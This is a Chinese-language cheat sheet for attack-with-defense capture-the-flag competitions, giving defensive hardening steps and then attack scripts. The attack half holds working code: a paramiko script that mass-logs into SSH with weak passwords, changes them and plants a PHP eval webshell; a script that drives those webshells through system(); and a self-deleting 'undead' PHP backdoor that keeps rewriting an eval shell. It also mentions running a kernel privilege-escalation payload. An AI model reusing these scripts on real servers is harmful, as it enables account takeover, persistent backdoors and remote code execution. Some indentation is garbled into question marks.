基本防守策略
1、改用戶密碼和服務密碼
1)改linux用戶密碼:
#passwd
如果有權限就刪除用戶:
#userdel -r [用戶名]
2)改mysql密碼:
#update mysql.user set password=password('密碼') where user='root';
刪除匿名用戶:
#delete from mysql.user where user=' ';
刷新配置:
#flush privileges;
3)改網站后臺密碼
從網站頁面或者源碼或者御劍工具找到后臺頁面,然后嘗試弱口令登入后改管理員密碼。
2、Web防護
1)將網站目錄打包成tar
#tar -cvf [打包后的文件名.tar] [要打包的文件名]
2)用ssh或ftp將打包文件拉到本地
ssh法:
#scp 用戶名@IP地址:要下載的文件路徑 存放路徑
如:scp root@192.168.16.8:/root/flag.txt /root/
ftp法:
#ftp [IP地址]
#get [文件名]
或者用ftp登入軟件下載
3)將壓縮包解壓,然后拉到D盾里面掃描木馬文件
4)用ssh控制或ftp控制服務器將木馬文件刪除
3、關閉shell連接進程
1)查看正在連接的進程
#who
2)關閉連接進程
#pkill -kill -t pts/進程號
4、網站守護
1)查看新增文件,刪掉
# find ./ -cmin -30
2)刪除不死碼
# vim killshell.sh
# chmod 777 killshell.sh
# nohup ./killshell.sh &
----------------------------------------------------------------
#!/bin/bash
while true
do
rm -rf xxx.php
done
----------------------------------------------------------------
3)發現網站頁面有漏洞
# echo ?> xxx.php
PS:平臺root用戶可能是弱口令toor密碼,或者存在內核溢出提權。
chmod 777 payload
./payload
網神杯奇安信平臺溢出提權,4.4.0-31-generic Ubuntu 內核。
rm -rf /bin/curl
基本攻擊策略
1、弱口令攻擊
批量用戶登入修改密碼并寫入webshell且獲取flag值。
ls /home/
python3 ssh.py ???
--------------------------------------------------------------------
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
for i in [1,2,3,4,5,6,7,8,9,10]:
????try:
????????????host = "4.4."+str(i)+".100"
????????????s=paramiko.SSHClient()
????????????s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
????????????s.connect(hostname=host,port=22,username='user1',password='123456')
????????????stdin,stdout,stderr = s.exec_command('passwd\n')
????????????stdin.write("123456\nPass@123.com\nPass@123.com\n")
????????????stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php")
????????????stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey')
????????????print(host+':'+stdout.read().decode('utf-8'))
????????????s.close()
????except:
????????print(host+':Fails!')
--------------------------------------------------------------------
2、批量調用webshell獲取flag
用D盾掃描自己的網站木馬,根據木馬寫腳本。
python3 web.py
--------------------------------------------------------------------
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
for i in [1,2,3,4,5,6,7,8,9,10]:
????try:
????????url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"
????????result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2)
????????print(url+'-->'+result.text)
????except:
????????print(url+'-->Fails!')
--------------------------------------------------------------------
3、不死碼種植
將不死碼上傳網站目錄,訪問不死碼后在當前目錄生成.zack.php后門webshell。
--------------------------------------------------------------------
<?php
set_time_limit(0);
#1表示忽略與客戶端斷開連接,繼續執行腳本
ignore_user_abort(1);
#執行完后刪除自身
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST[zack]);?>';
file_put_contents(".zack.php", $content);
usleep(500); ?#暫停0.5秒鐘
}
?>
--------------------------------------------------------------------
殺死不死馬的方法,查看不死馬的進程ID:
# top | grep httpd
chmod 777 kill.sh
nohup ./kill.sh &
查到ID為 11198 ,根據ID號和webshell名寫.sh腳本。
# vim kill.sh
--------------------------------------------------------------------
#!/bin/bash
while true
????????do
????????????????kill -9 11198
????????????????rm -rf .shell.php
????????done
--------------------------------------------------------------------